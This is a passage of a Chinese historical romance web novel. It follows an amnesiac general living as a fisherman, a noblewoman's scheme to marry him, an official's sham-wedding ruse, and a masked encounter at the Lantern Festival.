几人狼狈退出包围圈，身后阿喜清脆讥讽：“官老爷的嘴巴，笨得像虾蟆。”
渔民们哄笑散去，“就是，连个小丫头都说不过，还当什么官！”
阿喜得意地甩了甩辫子，凑到李老爹跟前：“阿爹，我这出戏演得怎么样？”
李老爹叼着旱烟，烟雾缭绕中眼神复杂：“戏是好戏，就是忒聒噪。”
阿喜撇嘴：“嗓门不高一点，怎么吓退他们嘛。”
李老爹深吸一口烟，火星明明灭灭。
“阿爹。”阿喜一把抢过烟杆，眯起眼：“您早就打算带着阿舟跑路了，是不是？”
李老爹被呛得直咳嗽，半晌才叹了口气：“阿喜啊……”
阿喜脸色一变，“不会今晚就走吧？”
潮水漫过脚踝，浪声拍打着礁石，李老爹沉声道：“今夜子时，涨大潮。”
天刚蒙蒙亮，李老爹一家悄然离开沙洲。行李简单，步履匆匆，唯恐夜长梦多。
一路风平浪静，渔舟顺流南下，破开晨雾，海面缓缓前行。谁知不过几十里水路，眼前骤然浮现庞然大物。
那是一艘铁甲楼船，宛如沉眠的巨兽，海面投下庞大的阴影，遮挡了半边天光。
舟上的三人皆怔住。
李老爹握紧船桨，阿喜攥住衣角。
父女生于江海，逐水而生，可这等威势的大船，还是头一回见。
更叫人心惊的是，甲板之上，赫然立着一位白首将军。锁子暗甲凤翅盔，腰间悬挂宝刀，目光如炬，居高临下地睥睨他们。
福建都指挥使，沈恪。
李老爹喉头微动，阿喜悄悄咽了口唾沫。
这下，怕是躲不过去了。
109. 婚约
腊月的沧浪亭，笼罩在一片梅香氤氲之下。复廊外池水幽深如墨，瓦楞间残叶堆积，老藤缠绕亭柱，枯枝斜探入水。
沈枝意立于“翠玲珑”馆的冰裂纹窗棂前，银红织金长裙曳地，白狐裘披肩，指尖捏着一枝腊梅，睇着不远处石桥上的身影。
桥上男人长身玉立，一身石青色长袍，剑眉浓长，凤眸凛凛，眸底如沧浪池水，看似温和平静，实则波澜暗涌。
沈枝意眉眼一弯，踮起脚尖，招手唤道：“阿舟哥哥。”
阿舟抬眸，神色淡淡：“沈小姐。”
那副疏离冷漠的态度，刺激了沈枝意的神经，她小嘴一撇，跺了跺脚，娇嗔道：“怎么还是这般生分？你以前可不是这样唤我的，好歹叫我一声卿卿嘛。”
说话间，她莲步轻挪，来到男人跟前。裙底扫过青石板积存的残叶，带过一阵香风。
淡淡梅香扑鼻，令阿舟忍不住打了个喷嚏，“啊……好。”
他揉搓鼻子，囔囔学舌：“卿卿。”
大概误以为天凉感染了风寒，阿舟缩了缩脖子，两手习惯性地交叉揣进袖里取暖。
一瞬间，仿佛换了个人似的，全无阴鸷冷漠将军神情，倒真有些乡下粗鄙渔夫的架势。
一举一动时刻提醒对方，他是阿舟，不是时枫。
可沈枝意一点都不嫌弃他，反而障袂莞尔一笑，相从万事休。
“这才对嘛。”她伸出素手，掬了一捧青霭，解释道：“你我本是青梅竹马，两小无猜，不必拘礼。”说着，翻手拂去他衣襟上的一点尘埃。
阿舟偏了偏身子，没躲开，也没回应。
沈枝意眼底掠过一抹幽光。
过去半载的光阴，在她心头碾过千重浪。她满怀期许，千里迢迢赴京，只为与从小爱慕的竹马相会。可谁曾想，时枫早已心有所属，竟不惜为了苏绾那贱人，单方面撕毁婚约，让她在满京城的贵女面前，颜面尽失，沦为了笑柄。
她不甘，愤怒，甚至想撕烂苏绾那张狐媚子的脸。可面对时枫的决绝，像一道无法跨越的鸿沟，逼得她匆匆打点行囊，狼狈逃离京城，回到苏州老家，独自舔舐伤口。
就在她试图忘却这段屈辱时，时枫溺亡的噩耗传来，硬生生将她打入深渊。她整日以泪洗面，茶饭不思，甚至生出以死殉情的念头。若非父亲苦苦相劝，她早已随他而去。
命运偏爱戏弄人，翻手为云，覆手为雨。那个“死去”的男人，竟又活着回来了。这一次她没有犹豫，连夜奔赴黄海，将失忆的时枫牢牢攥回掌心。
曾经他为了苏绾辜负她的情意，如今却连苏绾是谁都记不清了——真是大大的讽刺。只要在他面前绝口不提苏绾，彻底封死苏绾这个人的存在，过往耻辱将一笔勾销。
他是属于她沈枝意的，是她命中注定的夫婿。她不会再给他选择的余地，更不会让任何人破坏这天赐良机。
至于阿喜那对父女，在她眼里不过是无足轻重的蝼蚁。她只需稍施手段，蜜糖与大棒恩威并重，让他们乖乖闭嘴的同时，又能达到掌控时枫的目的。
这场被搅乱的婚约，她会亲手补全，织就一份锦绣如意姻缘。
想到这里，佳人勾唇一笑，相邀阿舟共游园林，玉手和烟弄枝梅。
“此园原是苏舜钦变法失败，贬谪吴中后修葺建造。他身虽遭贬，风骨不折，从此沧浪之名传开。”
大约触景生情，阿舟竟脱口而出两句诗：“清风明月本无价，远水近山皆有情。”
他果然记得！沈枝意眼中闪过一丝惊喜，旋即笑着纠正他：“上句乃欧阳修所作，下句才是苏舜钦写的。”
阿舟挠了挠头，茫然道：“我不晓得什么苏什么修，随口胡说八道的。”顿了顿，艰涩道：“我只会打渔织网，是个粗人。”
沈枝意唇角笑意更柔，“不是什么大不了的事，阿舟哥哥不必在意。”
她温和介绍：“此处清幽，适宜修身养性。阿舟哥哥不妨安心宿在这沧浪亭，莫被外人俗世所扰，对身心都有好处。”
哪知阿舟却不接她的话茬，只紧声问道：“阿爹和阿喜住在哪里？”
沈枝意眼底划过一抹不耐，很快被笑意掩去。她背着手，轻快道：“放心吧，他们自然被好生安置着，过得舒舒服服，都快乐不思蜀了。”
她微微歪头，露出一副乖巧俊俏模样，“听说阿喜姑娘喜食小食，我特意派人采买了苏州最好的点心送过去。她高兴得合不拢嘴，直言要在苏州住一辈子呢。”
枯荷丛中惊起一群寒鸦，阿舟忽然想起，阿喜总是把最肥的鱼偷偷塞给他，又怎会为了几块糕而不理睬他。
“我要见阿爹和阿喜。”阿舟咬紧后槽牙，语气坚定。
沈枝意神色一僵，旋即伸手握住他粗壮的手臂，声音娇软，楚楚可怜：“阿舟哥哥，你可知我等这一天，已经等了多久？”
她眼圈微红，委屈巴巴：“我日日盼着你回心转意，为你寝食难安，如今你终于回到了我身边，你让我、让我如何舍得放开？”
说着，指尖收紧，眸光藏着一抹试探与掌控。
可阿舟的回应，是猛地甩开她的手。
“沈小姐慎言。”嗓音低沉而沙哑，像被海盐腌过的旧缆绳。
男人突然的变卦，令沈枝意脸色陡然一沉，笑意尽褪，缓缓道：“他们过得很好，但若你执迷不悟，我可不敢保证，他们还能不能一直这么好下去。”
她轻轻拨弄衣袖，漫不经心呢喃：“李家那条破渔船，若是腊月里沉进冰河，怕是连尸首都捞不着。”
空气瞬间凝滞。
阿舟眸色一冷，周身气势骤变，刹那间，杀意翻涌。他猛然欺身上前，一把掐住了沈枝意的喉咙。力道之重，令她喘不过气。
“你敢。”男人的嗓音低沉而森冷，仿佛从深海之底翻涌而出。
沈枝意大惊失色，双手下意识拼命掰他的手腕，艰难如撼动磐石。她的脸憋得通红，断断续续地喘息：“你……放手……”
男人毫无动容，五指收紧，眸底翻涌着阴鸷的光——那位叱咤风云的“冷面阎罗”，终于回来了。
“我不管你们这些人胡乱搞什么勾当，”声音冷得像凛冬寒潮，“敢动阿喜和阿爹一根汗毛，我要你的命。”
沈枝意感觉眼前阵阵发黑，胸腔剧烈起伏，连呼吸都变得奄奄一息。死亡的阴影前所未有地逼近，她甚至来不及思考如何周旋，惟剩本能地挣扎。
“放……放手……”喉咙被扼得几乎发不出声音，明眸染上一丝惊惧，泪水氤氲。
阿舟斜睨了她一眼，意识到再不松手，世家小姐的小命不保。
男人这才缓缓松手。
“咳咳……”沈枝意弓着小身板，不停地咳嗽。
长那么大，她还从未经历过这等入骨的死亡威胁，男人冰冷决绝的眼神，令她永生难忘。
她算准了时枫失忆，算准了他不记得苏绾——唯独忘了，他同样也不记得她自己。
在阿舟的眼里，她不过是个以强权压人、张扬跋扈的世家小姐。
根本比不得阿喜。
沈枝意心底生出一丝绝望。
她眼睁睁看着，自己苦心经营的终身大事，正如白茫茫潮水，一落千丈，全面崩塌。
*
水竹湛清华，天然去雕饰。
沈恪坐在堂前，花白虬髯鬖鬖，眉宇间浮着风霜浸染的痕迹。他捋了捋胡须，长叹一声：“时家一门，竟落得如此凄凉境地，世事当真无常。”
堂下邵云礼正襟危坐，青色衣衫熨帖无褶，眸光微敛道：“圣意难测。”
他将调查所得，细细整理一番，又掐头去尾，刻意隐去关于苏绾与九香的全部真相
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，只着重渲染朝廷暗卫萧染奉命追杀时枫，以及江湖势力对时枫步步紧逼的事迹。
前因后果，清晰明了。
但有一点始终不通。
圣上缘何对时家痛下杀手？
难道真如他所料——皇帝认定时谦私吞了都蛮族的宝藏？
堂堂一国之君，天下尽握于掌中，竟这般贪婪外族宝藏，不惜对肱骨老臣赶尽杀绝？
沈恪微阖双目，神态从容，显然对真相心知肚明，却不愿点破其中因果。
他沉吟片刻，摇头道：“时谦虽是个犟种，并非愚忠之辈。若圣上当真无端罗织罪名，灭他满门，他岂会束手就擒，坐以待毙？”
邵云礼没有急于追问，而是顺势道：“眼下最紧要的，是如何让时枫‘起死回生’，又不引来旁人疑心，再次对他痛下杀手。”
顿了顿，补充道：“他如今失去记忆，犹如活靶子一个，任人宰割。这京城之内，六部五寺，到处都是他的仇敌，谁也护不了他。”
沈恪也颇感棘手，捋着胡须喃喃道：“这……如何是好？”
二人正思忖对策，忽见沈枝意踉跄闯入堂前。
她脚步虚浮，险些摔倒在门槛上，后又扶着门框站起，喘息未定，发髻松散，珠钗倾斜，一缕碎发垂落颊侧。颈间指痕狰狞可怖，泛着青紫痕迹。
小姑娘未语先泣，断断续续哭道：“爹爹，枫哥哥他、他……”
沈恪心头一紧，忙起身快步迎上前，伸手轻拍女儿后背，温声安抚。他顺手取出干净的汗巾，替她拭去脸颊泪痕，轻言细语哄了许久，才让女儿止住哽咽。
谁知沈枝意接下来的话，惊得堂中气氛瞬间凝滞。
“枫哥哥，他要杀我。”
经过邵云礼耐心细问一番，方才微微松了口气。他对时枫的脾性再清楚不过，那家伙自小养成的桀骜霸道脾性，动不动就掐人脖颈。不过是些吓唬人的惯用手段，真要下杀手的话，早不知有多少人丧命了。
可沈恪却是越听越沉重，眉心拧得深成一道沟。从前的枫小子，哪敢这样对他的卿卿下手？不想活了！可惜时枫失忆了，行事令人无法捉摸，若不尽快想办法医治，后果不堪设想。
堂外寒风乍起，卷落一片黄叶，贴着门槛缓缓旋转，落在沈枝意的绣鞋旁。
沈枝意泪眼朦胧，满是委屈：“枫哥哥是真的想杀我，不是吓唬我，卿卿分得出来。”
她攥着父亲的衣袖，撒娇道：“就是那对坏心眼的渔民父女教唆枫哥哥变心！爹爹快想办法赶走他们！”
沈恪颇感为难，沉吟道：“人家救了枫小子，咱们感激还来不及，怎能恩将仇报？”
“我不管！”沈枝意甩开他的衣袖，白玉珠钗从发间滑落，发出清脆碎裂声，“枫哥哥只能娶我，不能娶别人！”
堂外的风更烈了几分，吹得窗棂吱呀作响，好似替她鸣不平。
她是真的怒了，连外人面前的温婉形象都懒得维持。时枫的失控令她感到惶惶不安，她的那些精心筹谋的小算计，似乎都派不上用场了。
唯一的退路，是向父亲求助。
沈恪揉了揉额角，安抚道：“枫小子失忆了，他暂时记不起来，给他点时间，他自然会答应你。”
沈枝意哪里肯听，正要不依不饶闹下去，忽然被一道清冷嗓音打断。
“依下官之见，这未尝不是个法子。”
此话一出，父女二人皆是一愣，齐齐望向他。
沈恪沉吟片刻，迟疑道：“你的意思是……让枫小子娶卿卿？”
邵云礼微微颔首，指尖缓缓叩响案几，“正是。如此一来，以阿舟的身份，自然引领时枫入局，直至他顺利恢复记忆为止。”
他低头翻了翻案旁的黄历，手指在某一页顿住，掀眸淡淡道：“正月十五，宜嫁娶。沈府招赘，天经地义。”
110. 假婚
冬日难得的暖阳洒进农家小院，照得泥地泛着浅浅的光。院中站着大理寺卿邵云礼，身后跟着晴雷、文竹等人，本就狭小的院落显得更加局促。
李老爹蹲踞墙根阴影里，背靠青砖围墙，握着乌木烟杆，吧嗒吧嗒抽着旱烟。
“这位官爷，”他半眯着眼，吐出一串烟圈，不耐烦道：“您把俺们圈在这旱地，已经个把月了。阿舟愿走愿留，他自己说了算。可俺们又没犯法，该放回海上去了。”
邵云礼在一旁寻了张小凳，撩起青色长袍坐下，闲话起了家常：“放不放你们走，我可做不了主。您该清楚，苏州这地方，不姓邵，也不姓李，姓沈。就算是知府大人，也得看沈家的脸色行事。”
这话说得滴水不漏，不威逼、不许诺，软刀子绵里藏针，叫人心里直发寒。
邵云礼在沙洲吃过亏，他晓得与渔民打交道不能打官腔，要讲百姓听得懂的话，否则就是天王老子来了，还不如里长的威慑力大。
李老爹低头敲了敲烟锅，磕出些残灰落在脚边，“官爷何必为难咱们老实人？再耽搁下去，开春的黄花鱼可不等懒汉。”
“哎哟李老爹，你真是死心眼。”邵云礼摇头失笑，“喜事临门，还惦记着黄花鱼？怕是再过两天，您就不想走了。”
屋里传来窸窸窣窣的响动，阿喜探头探脑地走了出来。杏色的裙摆拂过门槛，扬起些许灰尘，她脚步急促，没留神踢翻了一只空竹篓，发出一声闷响。
“什么喜事？”她抬头问道。
“当然是天降横财咯。”
邵云礼故意卖了个关子，侧头觑阿喜的反应，他晓得这丫头是个财迷。
果不其然，阿喜抬手抹掉嘴角沾着芝麻糖渣，充满好奇道：“多大的财？快说快说。”
邵云礼翘起二郎腿，慢条斯理道：“沈老将军要把宝贝女儿许配给阿舟，你们和沈家结为姻亲，身价百倍千倍增长，往后荣华富贵享之不尽。难道不是天上掉下来馅饼么？”
空气倏地凝滞。
李老爹的烟杆“啪嗒”掉在地上，烟灰溅了满地。阿喜睁大了眼睛，嘴巴张得足以塞下一整块糕。
屋檐下几只麻雀扑棱棱地惊起，细碎羽翅拍打成风，吹得竹篱上晾晒的渔网东倒西歪。
阿喜感到不可思议：“娶沈姑娘？”
她仔细想了想，沈家大小姐平日里对她颇为照顾，不仅买点心给她吃，还送她几身花裙子。
这门亲事，听上去好像还不坏。
阿喜掰着指头算了又算，阿舟这半年吃了她上百条鱼，替她补过三十次渔网，还不算那些跑腿、打渔、采买的活计。
用一生的荣华富贵换这些，似乎是笔划算的买卖。她忍不住开始幻想，住进沈家的大宅，过着锦衣玉食的日子。
李老爹沉默了一阵，开口道：“咱们这等小民，哪里高攀得上世家小姐？这桩婚事，阿舟怕是做不得主。”
邵云礼轻笑：“这是沈老将军的意思，阿舟做不得主，你们更做不得主。”
一席话触了李老爹的逆鳞，“我怎么做不得主？阿舟是我李家的上门女婿，这婚书是里正大人亲自盖的印。”
阿喜和阿舟虽有夫妻之名，未有夫妻之实。
邵云礼的叹息，轻得像片雪花，“十两银子买的假婚书，怎经得起衙门的火漆印？这张纸，不过是骗骗晴雷、文竹罢了。”
他试图说服李老爹：“阿舟入赘沈家，这是天大的好事。阿喜可作阿舟的妹妹，您老人家自然是阿舟的养父，往后你们一家都能享福。何必继续打渔，过这风里来雨里去的日子？”
沈家开出的条件极具诱惑力，李老爹缓缓蹲下身，默默捡起掉落的烟杆。
门头的风铃轻轻晃了一下，发出悠远而空灵的声音，像是海面上传来的低吟。
邵云礼目光微动，心里已有几分笃定。老百姓眼皮子浅，稍稍许以好处，终究是拗不过现实。
还未等他彻底放松，父女二人异口同声道：“阿舟愿意吗？”
邵云礼笑道：“阿舟自然是听你们的话。你们叫他往东，他绝不敢往西。”
“这倒是，阿舟最听话了。”李老爹得意道。
“你们在谈什么？”阿舟刚从外面归来，手里提着买给阿喜的头绳，和李老爹的烟丝。
阿喜忽然莫名心虚，红着脸道：“没、没什么。”
阿舟目光扫过众人，隐约察觉气氛不对，他缓步踱向屋檐下的木架，将东西放好，皱眉道：“到底是怎么回事？”
邵云礼仓惶站起身，嘴角带着颤抖的笑意：“阿舟，你小子运气不错，沈老将军要将女儿许配给你，很快你就是沈家的女婿了。”
阿舟的手几不可察地抖了抖，指腹蹭过木架上落了一层灰的竹篮，嗓音略显干涩：“你说什么？”
“沈枝意，沈家嫡女，愿意招你为婿。就是字面意思，赘婿，你懂吗？”他不确定时枫的学识，有没有跟着记忆一同消失。
李老爹倚在墙根，烟锅残存的烟丝燃尽，只剩轻烟袅袅散开。
阿喜站在门槛边，脸上挂着期待的目光。
显然阿舟听得懂，脸色瞬间变了，冷声道：“不可能。”
阿喜不满地叫道：“天上掉馅饼都不捡？”
她两步上前，狠狠瞪他，“你这个傻大个。沈家什么门第，多少人求都求不来，你不为自己想，也该为家里想想吧！”
阿舟低头：“我不喜欢沈枝意。”
阿喜叉着小腰：“沈姑娘怎么你了？人家长得好看，出手大方，还给我买点心花裙，她哪里不好了？”
阿舟嘟囔：“她坏。”
“哪里坏了？”阿喜追问。
阿舟沉默不语，显然不愿多说。
他不能告诉他们，沈枝意根本不是表面温婉善良的模样。她心思深沉，手段狠厉，非普通人家女子可比。一言一行透着诡异，还不止一次试探他，控制他。
让他娶她？
做梦！
阿喜被他吊起了好奇心，眯眼仔细打量他：“我怎么觉得，你不是不喜欢她，而是怕她呀？”
阿舟摇头：“不是。”
阿喜急了：“当个有钱人不好吗？沈姑娘头上一根簪子，都比咱家整条渔船值钱。你入赘到沈家，我也跟着沾光，咱们吃一辈子买来的黄花鱼！”
阿舟斩钉截铁：“不去。”
阿喜气得不行，转头看李老爹：“阿爹，你快劝劝这头倔驴。”
李老爹抽了口旱烟，慢悠悠道：“阿舟，你当真想清楚了？”
阿舟的肩背被日光拉出一道深长的影子，他低垂着眼，笃定道：“想清楚了。”
像是早就料到会是这个结果，李老爹抬眼看向邵云礼，讪笑道：“俺家阿舟不愿意，官爷还是另觅良人吧。”
邵云礼觑着这对父女，忽然意识到，自己被耍了。李家父女根本没打算劝服阿舟入赘，而是顺势做了一场戏，护他到底。
他脸色沉了几分：“你们可知，违抗将军的后果？”
阿喜一听，立刻炸毛了，叉着腰大声道：“沈家招女婿，还要逼人就范？那干脆直接让皇帝下道圣旨好了，何必来问我们意见？”
她眼睛瞪得圆圆的，像只护食的小猫，“阿舟不愿娶，谁也别想逼他！”
李老爹将烟杆往地上一磕，发出清脆的声响，“俺家是老实本分的百姓，不怕风浪。官爷若真要逼迫，俺这把老骨头，今日就豁出去了。”
院中气氛骤然紧绷。
落叶被风吹起，旋转着落向门槛边，柴火堆里老鼠窸窣爬动。
邵云礼缓缓道：“今儿个你们不答应也得答应，否则谁都别想出这个门。”
他本意是要继续掰扯掰扯，可这番话落到渔民耳朵里，基本就跟威胁灭口没什么区别。
果不其然，阿喜拾起地上的竹杖，小手一扬，朝邵云礼冲去，怒喝道：“欺人太甚！”
一旁看戏的晴雷连忙横臂去挡，小臂登时青紫一片。文竹从侧面扑来，试图抱住阿喜的腰，却被她一脚踢开。
李老爹见状，顾不得许多，抄起烟杆加入战团。他
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虽年迈，但常年劳作，力气不小，一杆烟枪敲击文竹后背，打得他一个趔趄。
邵云礼无奈叹了口气，闹到最后，又成了这般混乱难堪境地。果然自古以来，官民无法沟通。
院子里顿时乱作一团，竹杖挥舞，烟杆翻飞。晴雷和文竹虽然身手不错，但在李老爹和阿喜的双重攻势下，一时难以招架。
“都给我住手！”
一声冷厉喝斥传来，如刀刃划破乱空。
众人纷纷停手。
阿舟巍然立于院内，冬日阳光从他背后倾洒而下，映照他如武神般威严。
自打上次一别，已过了半年有余，由于各种原因际会，邵云礼一直没得机会正面与时枫交锋，今日竟是他们重逢后，第一次有机会交谈。
不知是不是摇橹的缘故，这渔郎肩背厚实许多，手臂晒成檀木色，唯有一双凤眸，还似当初那般淬着寒芒。
这一刻，邵云礼忽然生出一种错觉，眼前的人并非渔家子，而是一只护主的猎犬，随时准备扑上来撕咬一口。
阿舟缓缓开口：“我再说最后一次，这门亲事，我不答应。”
邵云礼十分了解时枫的脾性，再不出绝招，他今日根本无法从容走出这个院子，连忙摆手解释道：“不是真的结婚，只是做戏而已。”
他随口胡编了一个故事：讲沈恪唯一的女儿得了重病，不久于人世。沈恪悲痛欲绝，然别无他法。后来阴差阳错，沈枝意爱上青梅竹马的时枫。为了圆女儿心愿，沈恪特意举办一场假婚礼，给她临终人文关怀。
故事编得有声有色，细节纷呈，连他自己都快要相信了。
风从篱笆缝隙穿过，带起落叶翻滚，院外远远传来几声鸡鸣。
阿喜惊道：“沈姑娘活不长了？”
“沈姑娘活不过霜降。”邵云礼的嗓音浸着悲悯，“老将军不过想全她最后念想。”
昨日在沧浪亭，阿舟完全看不出沈枝意乃久病之人。此刻回想起来，那姑娘挣扎时绯红的面色，倒真像带了几分病中潮热。
他突然感到很后悔，别是自己出手太重，把人打坏了吧。
李老爹啪嗒啪嗒地嘬着烟嘴，烟锅里红光一明一灭。他缓缓吐出一口浑浊烟雾，目光幽深望着地面。
“既这么说，那就按照官爷吩咐的办吧。”
乡下人淳朴如太古，骨头硬得刀砍不断，心肠软得像块豆腐。李老爹在海上讨生活大半辈子，身下只落得阿喜这一个女儿。他心里比谁都清楚，若是阿喜出了问题，他拼了老命也要让她得偿所愿。如今沈老将军的女儿命不久矣，作为一个父亲，他何尝不能共情？
邵云礼见目的已达，心下总算安定，拱手道：“婚期已定，正月十五。到时候，该请的人，一个也不会少。”
言毕，他转身甩袖离开，晴雷文竹紧随其后。
才刚踏出院门，迎面一股湿冷的风卷来，邵云礼下意识地拢紧了衣襟，嘴角掩饰不住地得意。
早知一个小小的谎言，足以解决麻烦，他又何必折戟沙洲，险些砸了自己“断案神探”的金字招牌。
至于沈枝意那边，更是好对付。只消一口咬定，阿舟恢复记忆的机会，离不开李老爹一家支持。若想顺利成婚，唯有好生善待这些渔民们。
两边忽悠，皆大欢喜。
唯一的不确定因素，是苏绾。
此事迟早会传入她的耳中，苏绾素来记仇，怕是要将这笔假结婚的账，算在他自己头上。
他嘴里默念：苏绾，阿喜，沈枝意。
再没有比这更混乱的修罗场，嘻嘻。时枫啊时枫，你再不赶快恢复记忆，恐怕会被三个女人生吞活剥了。
想到这里，邵云礼竟生出几分看戏的兴味，他已忍不住抱起手臂，坐看几个女子掀起滔天巨浪。
世事难料，风云突变。
临近年关，大理寺卿方才处理完苏州事务，正准备返京复命之际，沈恪收到了圣旨，召十三省二品官吏入京觐见，婚礼自然被迫延期。
一道旨意，投石入湖，激起千层浪。
111. 上元
马车行驶在官道上，车轮碾过冬日残雪尚未融尽的泥土，留下一道道深深浅浅的辙印。窗外的景色疾速向后退去，天地苍茫，偶有孤鸟展翅高鸣，随即隐没连绵山峦。
苏绾倚着车窗，望着流云被风吹散，心情恰似乘风破浪的渔舟，颠簸起伏不定。
文竹信中提及的渔民，究竟是不是他？如果真的是他，又怎会甘愿做别人的上门女婿？
太多疑问在脑海翻涌，无从寻得答案。
自接到圣旨后，殷潜匆匆整顿车马行装，带着苏绾、秦欢、萧染等人启程北上，留殷夫人操持府中事务，照顾瘫痪在床的苏夫人，以及无所事事的苏尽欢。
尽管少年一再吵闹着同行，理由是回京探望父亲，可苏绾冷冷道：“父亲有姨娘照顾，母亲却只你一个贴心好大儿。”
殷夫人不许苏尽欢争辩，唯恐坏了殷潜的正事，敛目嗔道：“你留在家里。”
少年撇了撇嘴，终究不敢再言。
于是，正月尚未过去，一行人已踏上北行之路。
官道两旁的杨柳开始抽芽，枯槁枝条迎风晃动，天空渐渐泛起春意的淡蓝。旅途遥远，沿途驿站屈指可数，马蹄声踏踏，这条通往京城的路，注定漫长且无可回头。
一路上秦欢心事重重，与她交谈少了许多，大部分时间待在殷潜车厢，似乎商议什么机要。
苏绾猜测，他们在商讨如何应对倭寇。其实她心中早有筹谋，暂时还未找到合适时机公开。
上一世沈恪抗倭时所用的策略，她清楚得很。她打算将这法子，“献计”给这一世的沈恪，协助他达成胜局。此法固然鸡贼了些，但准保能将倭寇一网打尽。
她只是没有机会，也没有理由，贸然上门拜见沈恪，只会引起对方猜忌。
而这道圣旨，恰如天赐良机。
沈恪乃福建都指挥使，必然也在受召进京的名单之列。如此一来，他们便能在皇城之中，正大光明地会面。
苏绾还有一事，要向沈恪查证：
文竹信中提到，沈恪已经在路上。倘若此事属实，那么答案，或许已经在他手中。
因此，她必须即刻进京，不可有误。
寒风穿过半掩的车窗，拂起她鬓边一缕青丝，随风轻轻飘荡。
萧染骑着骏马，走在马车一侧，他歪头觑着那双静默无波的眸子，舔了舔干涩的唇角，“前面就是徽州了，今晚正值上元，你想不想去观鱼灯？”
自从经历海边倭寇据点一案后，萧染对她的态度忽然大变，不再是趾高气扬、针锋相对的模样，反倒有意无意地亲近了许多。不仅买下全杭州最负盛名的点心塞满了她的闺房，这一路更是处处为她挑好玩的、找好看的，仿佛要将世间所有风光热闹，都一一摆到她面前，让她随心挑选。
苏绾当然猜得到，少年懵懂的心思。
她与萧染，实际是一层姑表亲的血缘关系，萧染才是她货真价实的表哥。
她知道，但不说，也不能说。
苏绾想了想：“既要观灯，先得换身行头，沐浴斋戒一番，方显诚心。”她眯起眼，勾唇道：“不如你先去剃个头？”
萧染眨了眨细长的眼，不知她话中何意。
马车继续前行，碾过一地斑驳光影，远处徽州的轮廓隐约浮现。
上元节的徽州，灯火辉煌，照得整座城池流光溢彩。人潮川流不息，商贩叫卖声，孩童欢笑声，笙歌袅袅，凤箫声动，玉壶光转，一夜鱼龙舞。
苏绾提着一盏鱼灯，薄绢为身，竹节为骨，灯火透出温暖光晕，宛如游鱼戏水。秦欢走在她左侧，修长指节提着莲花灯，眉目清朗，温润如玉。
“尝尝这个。”他从袖中摸出一包蜜饯，“徽州特产，我刚买的。”
苏绾拈起一颗蜜饯，正要入口，右侧萧染提着虎头灯探身过来，“前面有杂耍，要看么？”
少年竹月色襕衫在灯影下熠熠生辉，发髻也精心修剪打理过。看得苏绾障袂偷笑，这个傻瓜竟没意识到那句有关正月的俗语。
他该感谢她。
三人穿行在人群之中，苏绾的鱼灯被挤得东倒西歪，萧染索性将她护在身前，虎头灯高高举起，为她隔出一方安稳之地。秦欢落后半步，目光落在萧染扶着苏绾的手上，眸色微暗。
“快看。”萧染伸手一指。
苏绾顺着他的手指望去，街头一盏巨大的走马灯缓缓旋转，灯影映出一段才子佳人的凄美传说。
光影交错，恍如隔世。
上一世，皇宫中的上元节，苏绾打扮成小宫娥，踩着皑皑白雪，偷偷跑去冷宫与秦欢相会。
秦欢紧紧搂着苏绾，像揣着块宝贝一样，不肯松开。
他们在灯火阑珊处热吻。
往事不堪回首，秦欢怅然道：“灯影虽美，终究虚幻一场。”
这话听得垂丧且不吉利，苏绾望了一眼秦欢，猜度他多半还在为倭寇之事烦扰。
“佛曰：凡所有相，皆属虚妄，一切有为法，如梦幻泡影，如露亦如电，应作如是观。”
她由衷地鼓励他，“人活一世，何必分清楚现实与虚幻，到头来都是梦一场，不如享受当下。”
秦欢听得愣住。
忽然一阵风吹过，苏绾的鱼灯晃了晃，烛火险些熄灭。
秦欢将莲花灯递给苏绾，低头为她整理鱼灯的灯穗。
萧染则将虎头灯塞进苏绾另一只手里：“双灯护体，百邪不侵。”
苏绾哭笑不得，低头看着手中两盏灯，一莲一虎，一柔一刚，恰如眼前的两人。
萧染唇角带笑：“你选哪盏灯？”
秦欢静静看着她，沉寂无言。
这俩人，从刚才就感觉不对劲。苏绾将两盏灯各自塞回他们手中，撇嘴道：“我自己有灯。”
萧染和秦欢对视一眼，又同时望向苏绾，眼底皆藏着几分无奈，几分宠溺。
远处的夜空骤然被烟火点亮，东风夜放花千树，更吹落，星如雨。
萧染兴奋道：“前面放烟花呢！”
人潮涌动，苏绾挤过几个摊贩，再抬头时，秦欢和萧染的身影已然消失。她回头逡巡，四周尽是陌生的面孔。
“秦欢？萧染？”她试着喊了两声，淹没在喧嚣中。
苏绾只好提着鱼灯继续向前走，不知不觉拐进一条小巷，本想抄近路回到主街，可巷子越走越深，光线也逐渐暗淡下来。
她停下脚步，心中有些不安。这条巷子似乎没有尽头，两边房屋也显得陌生而冷清。她正犹豫是否要原路返回，忽然脚下一滑，踩到一块结冰的石板，身体骤然失去平衡，奋然向后仰去。
就在她以为自己要摔倒在地时，突然，一只结实的手臂稳稳扶住她的腰肢，将她拉回平衡。后背贴上一堵坚实的胸膛，一股熟悉又陌生的气息将她笼罩。
苏绾瞪大双眼，手中的鱼灯晃了晃，烛火映亮了男人露出的半张脸——青面獠牙的傩戏面具遮住眉骨，露出深邃的眼与凌厉的唇。
她隐约感到那双眼似曾相识，本想将鱼灯凑得更近一点，岂料男人却将她的手拨开，似乎不想被她看清楚长相。
“多谢公子。”苏绾起身想退开。
可男人并没有松开扶在她腰间的手，反而微微低下头，面具下的眼睛直直盯着她。
苏绾被他看得有些不自在，思绪还未从回忆中抽离，男人的脸已近在咫尺。苏绾下意识地屏住呼吸，心跳如鼓。
姿势极不寻常——她仰面朝上，男人低头吻住了她的唇，鼻尖蹭过她的下颌，他的呼吸温热缠绵，带着一股淡淡的咸涩气息，像是海风的味道。
这个吻并不激烈，夹杂着难以言喻的违和感。苏绾想要推开他，又被某种莫名的情绪牵制，无法动弹。男人的手掌贴在她的后颈，指尖轻轻摩挲，似乎安抚她的不安。
苏绾的脑中一片空白，手中的鱼灯不知何时掉在地上，灯纸被冰碴划破，烛火摇曳了几下，最终熄灭。巷子里唯余几缕微弱的光线，映出两人交叠的身影。
不知过了多久，男人缓缓抬起头。苏绾的呼吸有些急促，脸颊泛红，眼中充满了迷茫和困惑。
“你是谁？”她哑声道。
男人没有回答，只是静静地看着她。面具下的眼睛深邃如海，仿佛藏着无数秘密。
苏绾想要摘掉他的面具，被他握住手腕。
忽然远处传来呼喊：“阿舟，阿舟你在哪？”
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>男人眸色瞬间暗了几分，他退后一步，夜风卷起他衣角，未作停留，转身消失在深巷尽头。
苏绾怔在原地，微微喘息，心跳渐渐平复，心中的疑惑愈发浓烈。
他是谁？为什么吻她？为什么没拒绝他？
他的吻，如此的熟悉，却又陌生。身上并没有清冽的松木香味，而是一股淡淡的海风味道。
